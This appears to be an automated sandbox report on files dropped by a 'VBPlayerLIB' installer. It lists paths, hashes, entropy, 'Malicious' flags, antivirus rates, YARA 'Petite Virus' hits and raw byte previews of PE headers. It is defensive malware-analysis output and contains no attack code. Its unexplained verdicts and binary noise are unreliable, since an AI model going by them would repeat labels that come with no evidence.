SHA1:	5ED0928667451239E62E6A0A744DA47C74E1CF89
SHA-256:	6BAD60DF9A560FB7D6F8647B75C367FDA232BDFCA2291273A21179495DAC3DB9
SHA-512:	1394A48240BA4EF386215942465BDE418C5C6ED73FC935FE7D207D2A1370155C94CDC15431985ED4E656CA6B777BA79FFC88E78FA3D99DB7E0E6EAC7D1663594
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?..R{...{...{...o...q...o.......o...i...)...W...)...t...)...j...o...x...{.......-...s...-...z...-.4.z...-...z...Rich{...........PE..L....H.a...........!.....$...........h.......@............................... ............@.............................x.......(.......................................8..............................@............@..D............................text....#.......$.................. ..`.rdata...x...@...z...(..............@..@.data.... ..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-NU2EP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	26526
Entropy (8bit):	4.600837395607617
Encrypted:	false
SSDEEP:	384:Lc56OuAbnn0UReX6wFDVxnFw7xqsvzt+z/k8E9HinIhFkspcM9bc7ups0CZuQG:Lc5trLeDnFMz1ReScmc7GshZuQG
MD5:	BD7A443320AF8C812E4C18D1B79DF004
SHA1:	37D2F1D62FEC4DA0CAF06E5DA21AFC3521B597AA
SHA-256:	B634AB5640E258563C536E658CAD87080553DF6F34F62269A21D554844E58BFE
SHA-512:	21AEF7129B5B70E3F9255B1EA4DC994BF48B8A7F42CD90748D71465738D934891BBEC6C6FC6A1CCFAF7D3F35496677D62E2AF346D5E8266F6A51AE21A65C4460
Malicious:	false
Preview:	GNU LESSER GENERAL PUBLIC LICENSE. Version 2.1, February 1999.. Copyright (C) 1991, 1999 Free Software Foundation, Inc.. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed...[This is the first released version of the Lesser GPL. It also counts. as the successor of the GNU Library Public License, version 2, hence. the version number 2.1.].. Preamble.. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.Licenses are intended to guarantee your freedom to share and change.free software--to make sure the software is free for all its users... This license, the Lesser General Public License, applies to some.specially designated software packages--typically libraries--of the.Free Software Foundation and other authors who

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-OBVGG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	13838
Entropy (8bit):	5.173769974589746
Encrypted:	false
SSDEEP:	192:oh3ZZBe9xz7rdz9Us5bsRuKUYDpesWAhQqCNhNXUwS7RuLH9+E:ohLBe3dz9UsikKDGZqCNhNXUwS4bcE
MD5:	9C55B3E5ED1365E82AE9D5DA3EAEC9F2
SHA1:	BB3D30805A84C6F0803BE549C070F21C735E10A9
SHA-256:	D2E374DF7122C0676B4618AED537DFC8A7B5714B75D362BFBE85B38F47E3D4A4
SHA-512:	EEFE8793309FDC801B1649661B0C17C38406A9DAA1E12959CD20344975747D470D6D9C8BE51A46279A42FE1843C254C432938981D108F4899B93CDD744B5D968
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........6.........#.........2...............0....@m.................................Z........ ......................p..J.......h............................................................@......................................................text...............................`.P`.data...,....0......................@.0..rdata.......@......................@.0@/4...........P......................@.0@.bss.........`........................`..edata..J....p.......(..............@.0@.idata..h............*..............@.0..CRT....,............0..............@.0..tls.................2..............@.0..reloc...............4..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P3O93.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.540227486061059
Encrypted:	false
SSDEEP:	1536:45vq1zsdXYjZmGz9anu3MwjLA/eeiUKJP3Djl23HTKJ7WMU3lPyK+ZSrKxV/UJ9G:vzMMg/gMKeGsMIl6K+Zvry5zNY
MD5:	BDB65DCE335AC29ECCBC2CA7A7AD36B7
SHA1:	CE7678DCF7AF0DBF9649B660DB63DB87325E6F69
SHA-256:	7EC9EE07BFD67150D1BC26158000436B63CA8DBB2623095C049E06091FA374C3
SHA-512:	8AABCA6BE47A365ACD28DF8224F9B9B5E1654F67E825719286697FB9E1B75478DDDF31671E3921F06632EED5BB3DDA91D81E48D4550C2DCD8E2404D566F1BC29
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...N......0u............@.....................................................................2.......v...............................h...................................................................................CODE....Pe.......f.................. ..`DATA....D............j..............@...BSS......................................idata..v...........................@....edata..2...........................@..P.reloc..h...........................@..P.rsrc...............................@..P....................................@..P................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8456
Entropy (8bit):	6.767152008521429
Encrypted:	false
SSDEEP:	192:yxPHUtfhriUVoSoGtyo2xmJ8GbarAtT7/lxjFZnPK0cl:KPehriU3t2IiGbHTxZnPK0cl
MD5:	19E08B7F7B379A9D1F370E2B5CC622BD
SHA1:	3E2D2767459A92B557380C5796190DB15EC8A6EA
SHA-256:	AC97E5492A3CE1689A2B3C25D588FAC68DFF5C2B79FCF4067F2D781F092BA2A1
SHA-512:	564101A9428A053AA5B08E84586BCBB73874131154010A601FCE8A6FC8C4850C614B4B0A07ACF2A38FD2D4924D835584DB0A8B49EF369E2E450E458AC32CF256
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L...#.MZ...........!.................p.......0............................................@.........................Pr.......q..d....P..8....................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`..................................................l..a.......1...3W..Z.....H...5.(...$.. .>X9..Fn... ..."j1..........%.7.d...".m...n.ePY......`....I.gYo..UC....Rq(...F......s..8`.I.....i..F.....'......@..-;.........J...Oq...b@...........$.D4E..($.....8':;.q....[-..{..w....@M....J$..0d..9Q.I^.^y.E..L_-.x!s.......W.H.R..@.6....MQ.Q8.s.."...!."IX.vM...!e.$%......U.....F.CoI..X.dA...0.Y..r.8.*p...<..M y...8..s....N5<.J....&..`...w..'..\s..%..A.`....s..j.H...X#..R.\..)R3@..X.P.5...G..t.f/..C.b.d...\|.

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-PP906.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	34392
Entropy (8bit):	7.81689943223162
Encrypted:	false
SSDEEP:	768:mYBs3O9YL558R6R8P8W2rjQZQtfTIxRYsetoPNvPWIl+syr:vsUY15mqzW2u8rIxisFcJr
MD5:	EA245B00B9D27EF2BD96548A50A9CC2C
SHA1:	8463FDCDD5CED10C519EE0B406408AE55368E094
SHA-256:	4824A06B819CBE49C485D68A9802D9DAE3E3C54D4C2D8B706C8A87B56CEEFBF3
SHA-512:	EF1E107571402925AB5B1D9B096D7CEFF39C1245A23692A3976164D0DE0314F726CCA0CB10246FE58A13618FD5629A92025628373B3264153FC1D79B0415D9A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ph..4...4...4.......0...[...0...[...6...4.......V...0...`*..........5....)......Rich4...........................PE..L.....T...........!................6 .......................................0......................................D#..y....!..d.......X............................................................................................................................z..................`....rsrc...........X...................@..@....................................`...petite....... ......................`...................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-QIL6S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240654
Entropy (8bit):	6.518503846592995
Encrypted:	false
SSDEEP:	6144:yZDfF4DjzIHBV+bUeenu+t+oSTdjpNZ7utS81qpHW4paP2L:ekjzMBVKXeuq+oSTdjpr7N8f+L
MD5:	4F0C85351AEC4B00300451424DB4B5A4
SHA1:	BB66D807EDE0D7D86438207EB850F50126924C9D
SHA-256:	CC0B53969670C7275A855557EA16182C932160BC0F8543EFFC570F760AE2185E
SHA-512:	80C84403ED47380FF75EBA50A23E565F7E5C68C7BE8C208A5A48B7FB0798FF51F3D33780C902A6F8AB0E6DB328860C071C77B93AC88CADF84FEF7DF34DE3E2DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....H...................`.....g.................................\........ .........................o.......\...............................t............................S.......................................................text...dF.......H..................`.P`.data...X....`.......L..............@.P..rdata.......p.......N..............@.`@/4.......<.......>...T..............@.0@.bss..................................`..edata..o...........................@.0@.idata..\...........................@.0..CRT....,...........................@.0..tls................................@.0..reloc..t...........................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18966
Entropy (8bit):	7.620111275837424
Encrypted:	false
SSDEEP:	384:gOKwxnw6OVDU839fgRgFMkucNauTT80CyTIz2bGjqXOK0Jo:gOHwBDUOe2McQkI0Cyo2Q/o
MD5:	F0F973781B6A66ADF354B04A36C5E944
SHA1:	8E8EE3A18D4CEC163AF8756E1644DF41C747EDC7
SHA-256:	04AB613C895B35044AF8A9A98A372A5769C80245CC9D6BF710A94C5BC42FA1B3
SHA-512:	118D5DACC2379913B725BD338F8445016F5A0D1987283B082D37C1D1C76200240E8C79660E980F05E13E4EB79BDA02256EAC52385DAA557C6E0C5D326D43A835
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L...9#.]...........!.........B...............p............................................@.....................................x.......@....................M..........................................................@............................................>..................@..@.rsrc................@..............@..@.......................................@petite...............D..............`..`....................................g5 ....S%,_ .]/.0$R.yB..."@...N.AGG.^.?...1.........&?....v....6.0.. ME..(..gh\jv#.l..#$.Z&...._\`.@.......D.;.C~..m}3..\>.h..@.;.f Tho...(xVs..m.c..F..SS.C...z[....z...... .X.&....HY,...o.d..jP.nr..@.)..W.1#...b..Q.*E8.B..N5.....].........7..A..2c.M.q.O0(.Gi..B.....CT.(..+....>@T j.#!..."..P.u.3..5.Q0K..p....ERvG..._'...ir%m...NT.v:.....g.....8.+....m....8..Z.=.B.......D_..ln...C.......p8...e."...U...+.f..E.=X.j.DeD.X_.Y..n.r.!xWu..\.VB.......`.F.A....dx...

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SL4B2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	123406
Entropy (8bit):	6.263889638223575
Encrypted:	false
SSDEEP:	1536:hnPkU1t2P2hHV5JG1YBBAUBEd8+poyez9djcx2/8s6UJqfxX+1XOAhbKzb3+d:xPu21IYyCTToE6c+6e+d
MD5:	B49ECFA819479C3DCD97FAE2A8AB6EC6
SHA1:	1B8D47D4125028BBB025AAFCA1759DEB3FC0C298
SHA-256:	B9D5317E10E49AA9AD8AD738EEBE9ACD360CC5B20E2617E5C0C43740B95FC0F2
SHA-512:	18617E57A76EFF6D95A1ED735CE8D5B752F1FB550045FBBEDAC4E8E67062ACD7845ADC6FBE62238C383CED5E01D7AA4AB8F968DC442B67D62D2ED712DB67DC13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................R.......d>..........p....@...........................@......^........ ...............................@.4...................................................................................\|.@.@............................text....Q.......R..................`.P`.data...\....p.......V..............@.@..rdata...a.......b...X..............@.`@/4..................................@.0@.bss.....c>...........................`..idata..4.....@.....................@.0..CRT....4.....@.....................@.0..tls..........@.....................@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-T0T9V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	394752
Entropy (8bit):	6.662070316214798
Encrypted:	false
SSDEEP:	6144:uAlmRfeS+mOxv8bgDTuXU54l8WybBE36IpuIT9nxQPQnhH/a0CRdWqWJwGKp:zlm0S+SEuXU54NylJIJ9KPQnhilRsVJ
MD5:	A4123DE65270C91849FFEB8515A864C4
SHA1:	93971C6BB25F3F4D54D4DF6C0C002199A2F84525
SHA-256:	43A9928D6604BF604E43C2E1BAB30AE1654B3C26E66475F9488A95D89A4E6113
SHA-512:	D0834F7DB31ABA8AA9D97479938DA2D4CD945F76DC2203D60D24C75D29D36E635C2B0D97425027C4DEBA558B8A41A77E288F73263FA9ABC12C54E93510E3D384
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......KL...-d..-d..-d..U...-d..Be..-d.TEe..-d..-e.:-d..Ba..-d..B`..-d..Bg..-d..B`.c-d..Bd..-d..B...-d..Bf..-d.Rich.-d.........................PE..L.....b`...........!.....L..........+S.......`...............................P............@.................................L........... .................... ..\ ..$...............................@...@............`...............................text...NK.......L.................. ..`.rdata......`.......P..............@..@.data...............................@....rsrc... ...........................@..@.reloc..\ ... ..."..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-UBGUV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	337408
Entropy (8bit):	6.515131904432587
Encrypted:	false
SSDEEP:	6144:3nzsyDn7PDS+FDflUjvJUkbEOyF1rOpsuCOuOff5k4F/lTRHA:3377SKfgvqkbFyFJCRRzH
MD5:	62D2156E3CA8387964F7AA13DD1CCD5B
SHA1:	A5067E046ED9EA5512C94D1D17C394D6CF89CCCA
SHA-256:	59CBFBA941D3AC0238219DAA11C93969489B40F1E8B38FABDB5805AC3DD72BFA
SHA-512:	006F7C46021F339B6CBF9F0B80CFFA74ABB8D48E12986266D069738C4E6BDB799BFBA4B8EE4565A01E90DBE679A96A2399D795A6EAD6EACBB4818A155858BF60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@..\|...\|...\|...p...\|...w...\|.d.r...\|...v...\|...x...\|.i.#...\|...}.\|.\|.d.!...\|...w...\|..V....\|...v...\|.......\|. .z...\|.Rich..\|.........PE..L....r.b.....................>......\........ ....@.......................................@.....................................x....0.......................@...3................................................... ..(............................text............................... ..`.rdata..r.... ......................@..@.data....'..........................@....sxdata...... ......................@....rsrc........0......................@..@.reloc...<...@...>..................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\lame_enc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967168
Entropy (8bit):	6.500850562754145
Encrypted:	false
SSDEEP:	12288:j2ezAN6FpYQSzclODziLQEkkDHFb1aWGssVvVmPUwV+SiRm7rhj:jhAgFptPlqmPDHJ1apVdYUy+jRmX
MD5:	C06D6F4DABD9E8BBDECFC5D61B43A8A9
SHA1:	16D9F4F035835AFE8F694AE5529F95E4C3C78526
SHA-256:	665D47597146DDAAA44B771787B750D3CD82C5B5C0B33CA38F093F298326C9BB
SHA-512:	B0EBE9E2682A603C34F2B884121FA5D2D87ED3891990CCD91CD14005B28FE208A3B86FA20E182F9E7FC5142A267C8225AEFDCB23CF5B7556D2CF8F9E3BDE62D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.~..m...m...m......m.....m......m.......m..)3...m..)3...m..)3...m.......m...m..rm...m..m..3...m..3...m..3...m..Rich.m..........................PE..L...8..^...........!.........&.......`....................................................@..........................4.......G..<...............................HR..P+..T............................+..@...............D............................text............................... ..`.rdata..............................@..@.data........P...$...D..............@....trace.......`.......h..............@..@.gfids...............~..............@..@_RDATA..@...........................@..@.debug_o............................@..B.rsrc................l..............@..@.reloc..HR.......T...n..............@..B................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\lessmsi\is-Q0PSU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	506871
Entropy (8bit):	7.998074018431883
Encrypted:	true
SSDEEP:	12288:VCtY2iynJj4iqp1WjsxlD71zFusqzKZXGky4H2po:V+Y1y7qp0oxF7T3ZXGky4Wq
MD5:	D52F8AE89AC65F755C28A95C274C1FFE
SHA1:	50D581469FF0648EE628A027396F39598995D8B0
SHA-256:	2F9A9DFD0C0B0CFAF9C700B4659A4F2F3D11368E6C30A3FA0F93ECDD3B4D2E66
SHA-512:	B7B585EED261C262499C73688DFD985818F7869319285168AEEAC1F2CF5FAD487280FCAE1DAC633296E5DB0E0BC454495A09A90C2E37A7E7AF07EF93563503C6
Malicious:	false
Preview:	PK...........N..UD...."....$.AddWindowsExplorerShortcut.exe.. ..........p.../..L..../..L..../...Ykl...>3..f...6I..!7..qL.......Y;...M.HJ\....z....Y?R.B+P...."......US.R.SB....i.....T.R.......3./;/..Q.].{....:s=t.c....\|>...%....v:.Ot.....7.....il.rY^..4r.4.Gxl.3Yp...Q....X.".%......B......q..]k..7ae.O.....;..u.n....b..<............ w,.L'O.&...^.OJ...WT.X?RQOx\|...}MA.n.].q:!]iB`....\|VW.!.@Br[...N.Xl....f....GH..~..h.......:zZ..'. ..n..._.......Gw../.X...t$$...Z.7...&X...[V.e..p..&z..-Wj.r...ku...VKg.t.5.......,.[.,G........w...}...6.rD.EN.#..uu...kb..5"..gL.>.....D.....N..!...1.o..j..tD.!....H.X......a...._Fw..SQ~u{...4.to..7a.rrkT[.F.......nkV.....Sqc..f..gW..9Y.'.....L....U....\'=$...h...a...y...).?......Z......Z.l....+.b...O...h^.._..k......l._Q..m....w..s.eGm.=.nP..v57....H.U..6hQ~98z.A.'.z..H&...=.R.6..B'l...h...l....d]%./....<>....~....@..=....7...T0..J;.J....o.[.O....P.....'.k.......:.i.Bu.)...P#......^.....Jy.(o..:.?.......]./........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\lessmsi\lessmsi-v1.6.91.zip (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	506871
Entropy (8bit):	7.998074018431883
Encrypted:	true
SSDEEP:	12288:VCtY2iynJj4iqp1WjsxlD71zFusqzKZXGky4H2po:V+Y1y7qp0oxF7T3ZXGky4Wq
MD5:	D52F8AE89AC65F755C28A95C274C1FFE
SHA1:	50D581469FF0648EE628A027396F39598995D8B0
SHA-256:	2F9A9DFD0C0B0CFAF9C700B4659A4F2F3D11368E6C30A3FA0F93ECDD3B4D2E66
SHA-512:	B7B585EED261C262499C73688DFD985818F7869319285168AEEAC1F2CF5FAD487280FCAE1DAC633296E5DB0E0BC454495A09A90C2E37A7E7AF07EF93563503C6
Malicious:	false
Preview:	PK...........N..UD...."....$.AddWindowsExplorerShortcut.exe.. ..........p.../..L..../..L..../...Ykl...>3..f...6I..!7..qL.......Y;...M.HJ\....z....Y?R.B+P...."......US.R.SB....i.....T.R.......3./;/..Q.].{....:s=t.c....\|>...%....v:.Ot.....7.....il.rY^..4r.4.Gxl.3Yp...Q....X.".%......B......q..]k..7ae.O.....;..u.n....b..<............ w,.L'O.&...^.OJ...WT.X?RQOx\|...}MA.n.].q:!]iB`....\|VW.!.@Br[...N.Xl....f....GH..~..h.......:zZ..'. ..n..._.......Gw../.X...t$$...Z.7...&X...[V.e..p..&z..-Wj.r...ku...VKg.t.5.......,.[.,G........w...}...6.rD.EN.#..uu...kb..5"..gL.>.....D.....N..!...1.o..j..tD.!....H.X......a...._Fw..SQ~u{...4.to..7a.rrkT[.F.......nkV.....Sqc..f..gW..9Y.'.....L....U....\'=$...h...a...y...).?......Z......Z.l....+.b...O...h^.._..k......l._Q..m....w..s.eGm.=.nP..v57....H.U..6hQ~98z.A.'.z..H&...=.R.6..B'l...h...l....d]%./....<>....~....@..=....7...T0..J;.J....o.[.O....P.....'.k.......:.i.Bu.)...P#......^.....Jy.(o..:.?.......]./........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libFLAC_dynamic.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	512014
Entropy (8bit):	6.566561154468342
Encrypted:	false
SSDEEP:	12288:BNKab1bu1dEpBZvkO4KTYnyA0bFHmufLKNs3gv:rKcozEpbvkOCyA0xGufLKau
MD5:	C4A2068C59597175CD1A29F3E7F31BC1
SHA1:	89DE0169028E2BDD5F87A51E2251F7364981044D
SHA-256:	7AE79F834A4B875A14D63A0DB356EEC1D356F8E64FF9964E458D1C2050E5D180
SHA-512:	0989EA9E0EFADF1F6C31E7FC243371BB92BFD1446CF62798DCA38A021FAD8B6ADB0AEABDFBDC5CE8B71FE920E341FC8AB4E906B1839C6E469C75D8148A74A08A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P/.d...........#...(.l.........................n.........................P............@... ..........................:........... .......................0..L...........................d...........................P............................text....k.......l..................`..`.data................p..............@....rdata...t.......v...r..............@..@/4......L...........................@..@.bss....X................................edata...:.......<...j..............@..@.idata..............................@....CRT....,...........................@....tls................................@....rsrc........ ......................@....reloc..L....0......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libdtsdec.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	126478
Entropy (8bit):	6.268811819718352
Encrypted:	false
SSDEEP:	3072:UnNKg6JaJUeHjiaphKMLrn8uexz3TmBUg6xcE:UNcJGGehKMLJBUg6x
MD5:	6E93C9C8AADA15890073E74ED8D400C9
SHA1:	94757DBD181346C7933694EA7D217B2B7977CC5F
SHA-256:	B6E2FA50E0BE319104B05D6A754FE38991E6E1C476951CEE3C7EBDA0DC785E02
SHA-512:	A9F71F91961C75BB32871B1EFC58AF1E1710BDE1E39E7958AE9BB2A174E84E0DD32EBAAB9F5AE37275651297D8175EFA0B3379567E0EB0272423B604B4510852
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....^...................p.....m.........................p......f......... .........................{.... ...............................P..............................X........................!...............................text....\.......^..................`.P`.data........p.......b..............@.`..rdata..h&.......(...d..............@.`@/4......\B.......D..................@.0@.bss..................................`..edata..{...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libmp4v2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	845312
Entropy (8bit):	6.581151900686739
Encrypted:	false
SSDEEP:	24576:PgQ5Lxf4qcB5SdtFJPAYiXbJ1luVw6DbhJLJbCKShfCtk/8ou/UvfK7hs4I:H5Ng9zK5Puq7hsN
MD5:	00C672988C2B0A2CB818F4D382C1BE5D
SHA1:	57121C4852B36746146B10B5B97B5A76628F385F
SHA-256:	4E9F3E74E984B1C6E4696717AE36396E7504466419D8E4323AF3A89DE2E2B784
SHA-512:	C36CAE5057A4D904EBDB5495E086B8429E99116ACBE7D0F09FB66491F57A7FC44232448208044597316A53C7163E18C2F93336B37B302204C8AF6C8F1A9C8353
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2...va.va.va.b..fa.b...a.b..`a.$..ya.$..`a.$..1a.b..ua.va.*a. ...a. ..wa. ...wa.vat.wa. ..wa.Richva.................PE..L......c...........!.................F.......0............................... ......u.....@.......................... ...q..t...(....P.......................`..p.......T...........................8...@............0..D............................text............................... ..`.rdata...i...0...j..................@..@.data...............................@....rsrc........P.......(..............@..@.reloc..p....`......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsox-3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	648384
Entropy (8bit):	6.666474522542094
Encrypted:	false
SSDEEP:	12288:gAQxmcOwzIYhoz/eZz4gOIwEODAAwnq6Nql1:gvmfAI6oz/uOIyDAAwDNql1
MD5:	CE7DE939D74321A7D0E9BDF534B89AB9
SHA1:	56082B4E09A543562297E098A36AADC3338DEEC5
SHA-256:	A9DC70ABB4B59989C63B91755BA6177C491F6B4FE8D0BFBDF21A4CCF431BC939
SHA-512:	03C366506481B70E8BF6554727956E0340D27CB2853609D6210472AEDF4B3180C52AAD9152BC2CCCBA005723F5B2E3B5A19D0DCE8B8D1E0897F894A4BFEEFE55
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...".t.........................g.........................0................ ..........................................................,.......=..........................,=.......................................................text....r.......t..................`.P`.data............ ...x..............@.`..rdata..L...........................@.`@/4...................\..............@.0@.bss..................................`..edata...............`..............@.0@.idata...............j..............@.0..CRT....,............v..............@.0..tls.................x..............@.0..reloc...=.......>...z..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsoxr.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	227328
Entropy (8bit):	6.641153481093122
Encrypted:	false
SSDEEP:	6144:jtJXnqDMJgH50aKyumLCGTrS4ifbjoO88k:KqgHlKyumLCGTrS4inoZ
MD5:	BC824DC1D1417DE0A0E47A30A51428FD
SHA1:	C909C48C625488508026C57D1ED75A4AE6A7F9DB
SHA-256:	A87AA800F996902F06C735EA44F4F1E47F03274FE714A193C9E13C5D47230FAB
SHA-512:	566B5D5DDEA920A31E0FB9E048E28EF2AC149EF075DB44542A46671380F904427AC9A6F59FBC09FE3A4FBB2994F3CAEEE65452FE55804E403CEABC091FFAF670
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e>.a...........#.........t...V.................e.........................@......1......... .........................#....................................0...............................).......................................................text...............................`.P`.data...............................@.`..rdata..d0.......2..................@.`@.eh_framd@...@...B..................@.0@.bss.....T............................`..edata..#............T..............@.0@.idata...............^..............@.0..CRT....,............d..............@.0..tls......... .......f..............@.0..reloc.......0.......h..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\libvorbis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	867854
Entropy (8bit):	4.9264497464202694
Encrypted:	false
